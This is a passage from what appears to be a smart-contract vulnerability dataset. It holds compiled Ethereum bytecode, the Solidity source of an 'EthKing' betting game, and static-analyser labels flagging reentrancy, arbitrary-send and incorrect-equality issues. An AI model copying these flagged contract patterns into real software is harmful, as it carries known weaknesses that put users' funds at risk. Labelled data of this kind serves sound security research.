ffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f85750600f60179054906101000a900460ff165b15611a995742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4857600080fd5b607842611a559190613199565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa430610766565b9050600f60159054906101000a900460ff16158015611b115750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b295750600f60169054906101000a900460ff165b15611b5157611b3781611de3565b60004790506000811115611b4f57611b4e47611c7a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfa5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0457600090505b611c10848484846121a2565b50505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612ec1565b60405180910390fd5b5060008385611c6d919061327a565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cca60028461215890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4660028461215890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d71573d6000803e3d6000fd5b5050565b6000600654821115611dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db390612f03565b60405180910390fd5b6000611dc66121cf565b9050611ddb818461215890919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e41577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6f5781602001602082028036833780820191505090505b5090503081600081518110611ead577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4f57600080fd5b505afa158015611f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f879190612930565b81600181518110611fc1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208c95949392919061307e565b600060405180830381600087803b1580156120a657600080fd5b505af11580156120ba573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120f05760009050612152565b600082846120fe9190613220565b905082848261210d91906131ef565b1461214d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214490612f83565b60405180910390fd5b809150505b92915050565b600061219a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121fa565b905092915050565b806121b0576121af61225d565b5b6121bb84848461228e565b806121c9576121c8612459565b5b50505050565b60008060006121dc61246b565b915091506121f3818361215890919063ffffffff16565b9250505090565b60008083118290612241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122389190612ec1565b60405180910390fd5b506000838561225091906131ef565b9050809150509392505050565b600060085414801561227157506000600954145b1561227b5761228c565b600060088190555060006009819055505b565b6000806000806000806122a0876124cd565b9550955095509550955095506122fe86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123df816125dd565b6123e9848361269a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124469190613063565b60405180910390a3505050505050505050565b600c6009819055506005600881905550565b600080600060065490506000683635c9adc5dea0000090506124a1683635c9adc5dea0000060065461215890919063ffffffff16565b8210156124c057600654683635c9adc5dea000009350935050506124c9565b81819350935050505b9091565b60008060008060008060008060006124ea8a6008546009546126d4565b92509250925060006124fa6121cf565b9050600080600061250d8e87878761276a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b600080828461258e9190613199565b9050838110156125d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ca90612f43565b60405180910390fd5b8091505092915050565b60006125e76121cf565b905060006125fe82846120dd90919063ffffffff16565b905061265281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126af8260065461253590919063ffffffff16565b6006819055506126ca8160075461257f90919063ffffffff16565b6007819055505050565b60008060008061270060646126f2888a6120dd90919063ffffffff16565b61215890919063ffffffff16565b9050600061272a606461271c888b6120dd90919063ffffffff16565b61215890919063ffffffff16565b9050600061275382612745858c61253590919063ffffffff16565b61253590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278385896120dd90919063ffffffff16565b9050600061279a86896120dd90919063ffffffff16565b905060006127b187896120dd90919063ffffffff16565b905060006127da826127cc858761253590919063ffffffff16565b61253590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280661280184613118565b6130f3565b9050808382526020820190508285602086028201111561282557600080fd5b60005b85811015612855578161283b888261285f565b845260208401935060208301925050600181019050612828565b5050509392505050565b60008135905061286e81613756565b92915050565b60008151905061288381613756565b92915050565b600082601f83011261289a57600080fd5b81356128aa8482602086016127f3565b91505092915050565b6000813590506128c28161376d565b92915050565b6000815190506128d78161376d565b92915050565b6000813590506128ec81613784565b92915050565b60008151905061290181613784565b92915050565b60006020828403121561291957600080fd5b60006129278482850161285f565b91505092915050565b60006020828403121561294257600080fd5b600061295084828501612874565b91505092915050565b6000806040838503121561296c57600080fd5b600061297a8582860161285f565b925050602061298b8582860161285f565b9150509250929050565b6000806000606084860312156129aa57600080fd5b60006129b88682870161285f565b93505060206129c98682870161285f565b92505060406129da868287016128dd565b9150509250925092565b600080604083850312156129f757600080fd5b6000612a058582860161285f565b9250506020612a16858286016128dd565b9150509250929050565b600060208284031215612a3257600080fd5b600082013567ffffffffffffffff811115612a4c57600080fd5b612a5884828501612889565b91505092915050565b600060208284031215612a7357600080fd5b6000612a81848285016128b3565b91505092915050565b600060208284031215612a9c57600080fd5b6000612aaa848285016128c8565b91505092915050565b600060208284031215612ac557600080fd5b6000612ad3848285016128dd565b91505092915050565b600080600060608486031215612af157600080fd5b6000612aff868287016128f2565b9350506020612b10868287016128f2565b9250506040612b21868287016128f2565b9150509250925092565b6000612b378383612b43565b60208301905092915050565b612b4c816132ae565b82525050565b612b5b816132ae565b82525050565b6000612b6c82613154565b612b768185613177565b9350612b8183613144565b8060005b83811015612bb2578151612b998882612b2b565b9750612ba48361316a565b925050600181019050612b85565b5085935050505092915050565b612bc8816132c0565b82525050565b612bd781613303565b82525050565b6000612be88261315f565b612bf28185613188565b9350612c02818560208601613315565b612c0b8161344f565b840191505092915050565b6000612c23602383613188565b9150612c2e82613460565b604082019050919050565b6000612c46602a83613188565b9150612c51826134af565b604082019050919050565b6000612c69602283613188565b9150612c74826134fe565b604082019050919050565b6000612c8c601b83613188565b9150612c978261354d565b602082019050919050565b6000612caf601d83613188565b9150612cba82613576565b602082019050919050565b6000612cd2602183613188565b9150612cdd8261359f565b604082019050919050565b6000612cf5602083613188565b9150612d00826135ee565b602082019050919050565b6000612d18602983613188565b9150612d2382613617565b604082019050919050565b6000612d3b602583613188565b9150612d4682613666565b604082019050919050565b6000612d5e602483613188565b9150612d69826136b5565b604082019050919050565b6000612d81601783613188565b9150612d8c82613704565b602082019050919050565b6000612da4601183613188565b9150612daf8261372d565b602082019050919050565b612dc3816132ec565b82525050565b612dd2816132f6565b82525050565b6000602082019050612ded6000830184612b52565b92915050565b6000604082019050612e086000830185612b52565b612e156020830184612b52565b9392505050565b6000604082019050612e316000830185612b52565b612e3e6020830184612dba565b9392505050565b600060c082019050612e5a6000830189612b52565b612e676020830188612dba565b612e746040830187612bce565b612e816060830186612bce565b612e8e6080830185612b52565b612e9b60a0830184612dba565b979650505050505050565b6000602082019050612ebb6000830184612bbf565b92915050565b60006020820190508181036000830152612edb8184612bdd565b905092915050565b60006020820190508181036000830152612efc81612c16565b9050919050565b60006020820190508181036000830152612f1c81612c39565b9050919050565b60006020820190508181036000830152612f3c81612c5c565b9050919050565b60006020820190508181036000830152612f5c81612c7f565b9050919050565b60006020820190508181036000830152612f7c81612ca2565b9050919050565b60006020820190508181036000830152612f9c81612cc5565b9050919050565b60006020820190508181036000830152612fbc81612ce8565b9050919050565b60006020820190508181036000830152612fdc81612d0b565b9050919050565b60006020820190508181036000830152612ffc81612d2e565b9050919050565b6000602082019050818103600083015261301c81612d51565b9050919050565b6000602082019050818103600083015261303c81612d74565b9050919050565b6000602082019050818103600083015261305c81612d97565b9050919050565b60006020820190506130786000830184612dba565b92915050565b600060a0820190506130936000830188612dba565b6130a06020830187612bce565b81810360408301526130b28186612b61565b90506130c16060830185612b52565b6130ce6080830184612dba565b9695505050505050565b60006020820190506130ed6000830184612dc9565b92915050565b60006130fd61310e565b90506131098282613348565b919050565b6000604051905090565b600067ffffffffffffffff82111561313357613132613420565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a4826132ec565b91506131af836132ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e4576131e36133c2565b5b828201905092915050565b60006131fa826132ec565b9150613205836132ec565b925082613215576132146133f1565b5b828204905092915050565b600061322b826132ec565b9150613236836132ec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561326f5761326e6133c2565b5b828202905092915050565b6000613285826132ec565b9150613290836132ec565b9250828210156132a3576132a26133c2565b5b828203905092915050565b60006132b9826132cc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061330e826132ec565b9050919050565b60005b83811015613333578082015181840152602081019050613318565b83811115613342576000848401525b50505050565b6133518261344f565b810181811067ffffffffffffffff821117156133705761336f613420565b5b80604052505050565b6000613384826132ec565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b7576133b66133c2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375f816132ae565b811461376a57600080fd5b50565b613776816132c0565b811461378157600080fd5b50565b61378d816132ec565b811461379857600080fd5b5056fe466c6f6b6920496e2052617069646c79205265757361626c6520526f636b65747345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122008f57d3d7796b2859ad515efe40347fc0ad3032fbb3b73dec239b70e1d4d1ea864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,501 |
0xcde881f8b37b41577c65a3904579fff6bb94f3c8
|
pragma solidity ^0.4.19;
/* King of the Hill, but with a twist
To with the pot, you must obtain 1 million points.
You obtain points by becoming and staying the King.
To become the King, you must pay 1% of the pot.
As the King, you earn (minutes)^2 points, where minutes
is the amount of time you remain King.
50% of the pot is used as an award, and the other 50%
seeds the pot for the next round.
20% of bids go to the bonus pot, which is given to the
second-place person when someone wins.
*/
contract EthKing {
using SafeMath for uint256;
// ------------------ Events -----------------------------
event NewRound(
uint _timestamp,
uint _round,
uint _initialMainPot,
uint _initialBonusPot
);
event NewKingBid(
uint _timestamp,
address _address,
uint _amount,
uint _newMainPot,
uint _newBonusPot
);
event PlaceChange(
uint _timestamp,
address _newFirst,
address _newSecond,
uint _firstPoints,
uint _secondPoints
);
event Winner(
uint _timestamp,
address _first,
uint _firstAmount,
address _second,
uint _secondAmount
);
event EarningsWithdrawal(
uint _timestamp,
address _address,
uint _amount
);
// -------------------------------------------------------
address owner;
// ------------------ Game Constants ---------------------
// Fraction of the previous pot used to seed the next pot
// Currently 50%
uint private constant NEXT_POT_FRAC_TOP = 1;
uint private constant NEXT_POT_FRAC_BOT = 2;
// Minimum fraction of the pot required to become the King
// Currently 0.5%
uint private constant MIN_LEADER_FRAC_TOP = 5;
uint private constant MIN_LEADER_FRAC_BOT = 1000;
// Fraction of each bid used for the bonus pot
uint private constant BONUS_POT_FRAC_TOP = 20;
uint private constant BONUS_POT_FRAC_BOT = 100;
// Fractino of each bid used for the developer fee
uint private constant DEV_FEE_FRAC_TOP = 5;
uint private constant DEV_FEE_FRAC_BOT = 100;
// Exponent for point calculation
// Currently x^2
uint private constant POINT_EXPONENT = 2;
// How many points to win?
uint private constant POINTS_TO_WIN = 1000000;
// Null address for advancing round
address null_address = address(0x0);
// ----------------- Game Variables ----------------------
// The current King, and when he was last put in power
address public king;
uint public crownedTime;
// The current leader and the current 2nd-place leader
address public first;
address public second;
// Player info
struct Player {
uint points;
uint roundLastPlayed;
uint winnings;
}
// Player mapping
mapping (address => Player) private players;
// Current round number
uint public round;
// Value of pot and bonus pot
uint public mainPot;
uint public bonusPot;
// ----------------- Game Logic -------------------------
function EthKing() public payable {
// We should seed the game
require(msg.value > 0);
// Set owner and round
owner = msg.sender;
round = 1;
// Calculate bonus pot and main pot
uint _bonusPot = msg.value.mul(BONUS_POT_FRAC_TOP).div(BONUS_POT_FRAC_BOT);
uint _mainPot = msg.value.sub(_bonusPot);
// Make sure we didn't make a mistake
require(_bonusPot + _mainPot <= msg.value);
mainPot = _mainPot;
bonusPot = _bonusPot;
// Set owner as King
// Crowned upon contract creation
king = owner;
first = null_address;
second = null_address;
crownedTime = now;
players[owner].roundLastPlayed = round;
players[owner].points = 0;
}
// Calculate and reward points to the current King
// Should be called when the current King is being kicked out
modifier payoutOldKingPoints {
uint _pointsToAward = calculatePoints(crownedTime, now);
players[king].points = players[king].points.add(_pointsToAward);
// Check to see if King now is in first or second place.
// If second place, just replace second place with King.
// If first place, move first place down to second and King to first
if (players[king].points > players[first].points) {
second = first;
first = king;
PlaceChange(now, first, second, players[first].points, players[second].points);
} else if (players[king].points > players[second].points && king != first) {
second = king;
PlaceChange(now, first, second, players[first].points, players[second].points);
}
_;
}
// Check current leader's points
// Advances the round if he's at 1 million or greater
// Pays out main pot and bonus pot
modifier advanceRoundIfNeeded {
if (players[first].points >= POINTS_TO_WIN) {
// Calculate next pots and winnings
uint _nextMainPot = mainPot.mul(NEXT_POT_FRAC_TOP).div(NEXT_POT_FRAC_BOT);
uint _nextBonusPot = bonusPot.mul(NEXT_POT_FRAC_TOP).div(NEXT_POT_FRAC_BOT);
uint _firstEarnings = mainPot.sub(_nextMainPot);
uint _secondEarnings = bonusPot.sub(_nextBonusPot);
players[first].winnings = players[first].winnings.add(_firstEarnings);
players[second].winnings = players[second].winnings.add(_secondEarnings);
// Advance round
round++;
mainPot = _nextMainPot;
bonusPot = _nextBonusPot;
// Reset first and second and King
first = null_address;
second = null_address;
players[owner].roundLastPlayed = round;
players[owner].points = 0;
players[king].roundLastPlayed = round;
players[king].points = 0;
king = owner;
crownedTime = now;
NewRound(now, round, mainPot, bonusPot);
PlaceChange(now, first, second, players[first].points, players[second].points);
}
_;
}
// Calculates the points a player earned in a given timer interval
function calculatePoints(uint _earlierTime, uint _laterTime) private pure returns (uint) {
// Earlier time could be the same as latertime (same block)
// But it should never be later than laterTime!
assert(_earlierTime <= _laterTime);
// If crowned and dethroned on same block, no points
if (_earlierTime == _laterTime) { return 0; }
// Calculate points. Less than 1 minute is no payout
uint timeElapsedInSeconds = _laterTime.sub(_earlierTime);
if (timeElapsedInSeconds < 60) { return 0; }
uint timeElapsedInMinutes = timeElapsedInSeconds.div(60);
assert(timeElapsedInMinutes > 0);
// 1000 minutes is an automatic win.
if (timeElapsedInMinutes >= 1000) { return POINTS_TO_WIN; }
return timeElapsedInMinutes**POINT_EXPONENT;
}
// Pays out current King
// Advances round, if necessary
// Makes sender King
// Reverts if bid isn't high enough
function becomeKing() public payable
payoutOldKingPoints
advanceRoundIfNeeded
{
// Calculate minimum bid amount
uint _minLeaderAmount = mainPot.mul(MIN_LEADER_FRAC_TOP).div(MIN_LEADER_FRAC_BOT);
require(msg.value >= _minLeaderAmount);
uint _bidAmountToDeveloper = msg.value.mul(DEV_FEE_FRAC_TOP).div(DEV_FEE_FRAC_BOT);
uint _bidAmountToBonusPot = msg.value.mul(BONUS_POT_FRAC_TOP).div(BONUS_POT_FRAC_BOT);
uint _bidAmountToMainPot = msg.value.sub(_bidAmountToDeveloper).sub(_bidAmountToBonusPot);
assert(_bidAmountToDeveloper + _bidAmountToBonusPot + _bidAmountToMainPot <= msg.value);
// Transfer dev fee to owner's winnings
players[owner].winnings = players[owner].winnings.add(_bidAmountToDeveloper);
// Set new pot values
mainPot = mainPot.add(_bidAmountToMainPot);
bonusPot = bonusPot.add(_bidAmountToBonusPot);
// Clear out King's points if they are from last round
if (players[king].roundLastPlayed != round) {
players[king].points = 0;
}
// Set King
king = msg.sender;
players[king].roundLastPlayed = round;
crownedTime = now;
NewKingBid(now, king, msg.value, mainPot, bonusPot);
}
// Transfer players their winnings
function withdrawEarnings() public {
require(players[msg.sender].winnings > 0);
assert(players[msg.sender].winnings <= this.balance);
uint _amount = players[msg.sender].winnings;
players[msg.sender].winnings = 0;
EarningsWithdrawal(now, msg.sender, _amount);
msg.sender.transfer(_amount);
}
// Fallback function.
// If 0 ether, triggers tryAdvance()
// If > 0 ether, triggers becomeKing()
function () public payable {
if (msg.value == 0) { tryAdvance(); }
else { becomeKing(); }
}
// Utility function to advance the round / payout the winner
function tryAdvance() public {
// Calculate the King's current points.
// If he's won, we payout and advance the round.
// Equivalent to a bid, but without an actual bid.
uint kingTotalPoints = calculatePoints(crownedTime, now) + players[king].points;
if (kingTotalPoints >= POINTS_TO_WIN) { forceAdvance(); }
}
// Internal function called by tryAdvance if current King has won
function forceAdvance() private payoutOldKingPoints advanceRoundIfNeeded { }
// Gets a player's information
function getPlayerInfo(address _player) public constant returns(uint, uint, uint) {
return (players[_player].points, players[_player].roundLastPlayed, players[_player].winnings);
}
// Gets the sender's information
function getMyInfo() public constant returns(uint, uint, uint) {
return getPlayerInfo(msg.sender);
}
// Get the King's current points
function getKingPoints() public constant returns(uint) { return players[king].points; }
// Get the first player's current points
function getFirstPoints() public constant returns(uint) { return players[first].points; }
// Get the second player's current points
function getSecondPoints() public constant returns(uint) { return players[second].points; }
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6060604052600436106100da5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663146ca53181146100f85780633df4ddf41461011d578063593284011461014c5780635a8ac02d1461018f5780636708cc63146100ee5780636c1475ad146101a25780637daa10ce146101b557806381cd5eec146101c85780638f2ee2df146101db5780638f7d4dad146101ee578063aa64767314610201578063b73c6ce914610214578063ba9072ea14610227578063c11c0cc11461023a578063cc181ca81461024d575b3415156100ee576100e9610260565b6100f6565b6100f66102a0565b005b341561010357600080fd5b61010b610928565b60405190815260200160405180910390f35b341561012857600080fd5b61013061092e565b604051600160a060020a03909116815260200160405180910390f35b341561015757600080fd5b61016b600160a060020a036004351661093d565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561019a57600080fd5b610130610965565b34156101ad57600080fd5b6100f6610260565b34156101c057600080fd5b61016b610974565b34156101d357600080fd5b61010b61098d565b34156101e657600080fd5b61010b610993565b34156101f957600080fd5b61010b610999565b341561020c57600080fd5b61010b6109b7565b341561021f57600080fd5b6100f66109d5565b341561023257600080fd5b61010b610ace565b341561024557600080fd5b61010b610ad4565b341561025857600080fd5b610130610af2565b600254600160a060020a03166000908152600660205260408120546003546102889042610b01565b019050620f4240811061029d5761029d610b84565b50565b60008060008060006102b460035442610b01565b600254600160a060020a03166000908152600660205260409020549091506102e2908263ffffffff61100716565b60028054600160a060020a0390811660009081526006602052604080822094909455600454821681528381205492549091168152919091205411156103c6576004805460058054600160a060020a03808416600160a060020a0319928316179283905560025481169190931617928390559181166000818152600660205260408082205494909316808252908390205460008051602061107683398151915294429490919051948552600160a060020a039384166020860152919092166040808501919091526060840192909252608083015260a0909101905180910390a16104a3565b600554600160a060020a0390811660009081526006602052604080822054600254909316825290205411801561040d5750600454600254600160a060020a03908116911614155b156104a35760025460058054600160a060020a031916600160a060020a039283161790819055600454821660008181526006602052604080822054939094168082529084902054600080516020611076833981519152944294919051948552600160a060020a039384166020860152919092166040808501919091526060840192909252608083015260a0909101905180910390a15b600454600160a060020a0316600090815260066020526040812054819081908190620f4240901061072e576104f560026104e9600160085461102190919063ffffffff16565b9063ffffffff61104c16565b935061051260026104e9600160095461102190919063ffffffff16565b600854909350610528908563ffffffff61106316565b60095490925061053e908463ffffffff61106316565b600454600160a060020a031660009081526006602052604090206002015490915061056f908363ffffffff61100716565b600454600160a060020a0390811660009081526006602052604080822060029081019490945560055490921681522001546105b0908263ffffffff61100716565b60058054600160a060020a0390811660009081526006602052604080822060029081019590955560078054600190810180835560088c815560098c8155835460048054918a16600160a060020a031992831681179091558a5482161790995586548816875285872084019290925585548716865284862086905583548954881687528587209093019290925587548616855283852085905593548754951694909516939093179094554260038190559154925490547fb5d8636ab45e6cac7a4a61cb7c77f77f61a454d73aa2e6139ff8dcaf463537e594929392518085815260200184815260200183815260200182815260200194505050505060405180910390a1600454600554600160a060020a0391821660008181526006602052604080822054939094168082529084902054600080516020611076833981519152944294919051948552600160a060020a039384166020860152919092166040808501919091526060840192909252608083015260a0909101905180910390a15b61074a6103e86104e9600560085461102190919063ffffffff16565b9850348990101561075a57600080fd5b61077060646104e934600563ffffffff61102116565b975061078860646104e934601463ffffffff61102116565b96506107aa8761079e348b63ffffffff61106316565b9063ffffffff61106316565b955034888801870111156107ba57fe5b60008054600160a060020a03168152600660205260409020600201546107e6908963ffffffff61100716565b60008054600160a060020a0316815260066020526040902060020155600854610815908763ffffffff61100716565b60085560095461082b908863ffffffff61100716565b600955600754600254600160a060020a03166000908152600660205260409020600101541461087057600254600160a060020a03166000908152600660205260408120555b60028054600160a060020a03191633600160a060020a0390811691909117808355600754908216600090815260066020526040908190206001019190915542600381905592546008546009547fba7431323f46ac3719ae2c8685fda2c5cae744de7d04a2c2850d6206d3c467229594929092169234929051948552600160a060020a0390931660208501526040808501929092526060840152608083019190915260a0909101905180910390a1505050505050505050565b60075481565b600454600160a060020a031681565b600160a060020a03166000908152600660205260409020805460018201546002909201549092565b600554600160a060020a031681565b60008060006109823361093d565b925092509250909192565b60095481565b60085481565b600454600160a060020a031660009081526006602052604090205490565b600254600160a060020a031660009081526006602052604090205490565b600160a060020a0333166000908152600660205260408120600201548190116109fd57600080fd5b600160a060020a033381166000908152600660205260409020600201543090911631901115610a2857fe5b5033600160a060020a038116600090815260066020526040808220600201805492905590917f9722cdc65dd852fc27a66eb73f3075ebafbfe00a914437ce1b7b8c8d9fcde12791429190849051928352600160a060020a0390911660208301526040808301919091526060909101905180910390a1600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561029d57600080fd5b60035481565b600554600160a060020a031660009081526006602052604090205490565b600254600160a060020a031681565b6000808083851115610b0f57fe5b83851415610b205760009250610b7c565b610b30848663ffffffff61106316565b9150603c821015610b445760009250610b7c565b610b5582603c63ffffffff61104c16565b905060008111610b6157fe5b6103e88110610b7557620f42409250610b7c565b6002810a92505b505092915050565b6000610b9260035442610b01565b600254600160a060020a0316600090815260066020526040902054909150610bc0908263ffffffff61100716565b60028054600160a060020a039081166000908152600660205260408082209490945560045482168152838120549254909116815291909120541115610ca4576004805460058054600160a060020a03808416600160a060020a0319928316179283905560025481169190931617928390559181166000818152600660205260408082205494909316808252908390205460008051602061107683398151915294429490919051948552600160a060020a039384166020860152919092166040808501919091526060840192909252608083015260a0909101905180910390a1610d81565b600554600160a060020a03908116600090815260066020526040808220546002549093168252902054118015610ceb5750600454600254600160a060020a03908116911614155b15610d815760025460058054600160a060020a031916600160a060020a039283161790819055600454821660008181526006602052604080822054939094168082529084902054600080516020611076833981519152944294919051948552600160a060020a039384166020860152919092166040808501919091526060840192909252608083015260a0909101905180910390a15b600454600160a060020a0316600090815260066020526040812054819081908190620f4240901061100057610dc760026104e9600160085461102190919063ffffffff16565b9350610de460026104e9600160095461102190919063ffffffff16565b600854909350610dfa908563ffffffff61106316565b600954909250610e10908463ffffffff61106316565b600454600160a060020a0316600090815260066020526040902060020154909150610e41908363ffffffff61100716565b600454600160a060020a039081166000908152600660205260408082206002908101949094556005549092168152200154610e82908263ffffffff61100716565b60058054600160a060020a0390811660009081526006602052604080822060029081019590955560078054600190810180835560088c815560098c8155835460048054918a16600160a060020a031992831681179091558a5482161790995586548816875285872084019290925585548716865284862086905583548954881687528587209093019290925587548616855283852085905593548754951694909516939093179094554260038190559154925490547fb5d8636ab45e6cac7a4a61cb7c77f77f61a454d73aa2e6139ff8dcaf463537e594929392518085815260200184815260200183815260200182815260200194505050505060405180910390a1600454600554600160a060020a0391821660008181526006602052604080822054939094168082529084902054600080516020611076833981519152944294919051948552600160a060020a039384166020860152919092166040808501919091526060840192909252608083015260a0909101905180910390a15b5050505050565b60008282018381101561101657fe5b8091505b5092915050565b600080831515611034576000915061101a565b5082820282848281151561104457fe5b041461101657fe5b600080828481151561105a57fe5b04949350505050565b60008282111561106f57fe5b50900390560071c960b6df4a6d327a11790ddd078fcb97dcfdf70011981280641d0b207c376ea165627a7a723058208a4aaa6f85a6a433f39d3418c1d8d543cbbfefb4389aca39f408d0999542d49a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 6,502 |
0x3b97971bd270a663ff12b2cd46f7cf54d3df69c1
|
/**
*Submitted for verification at Etherscan.io on 2020-11-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
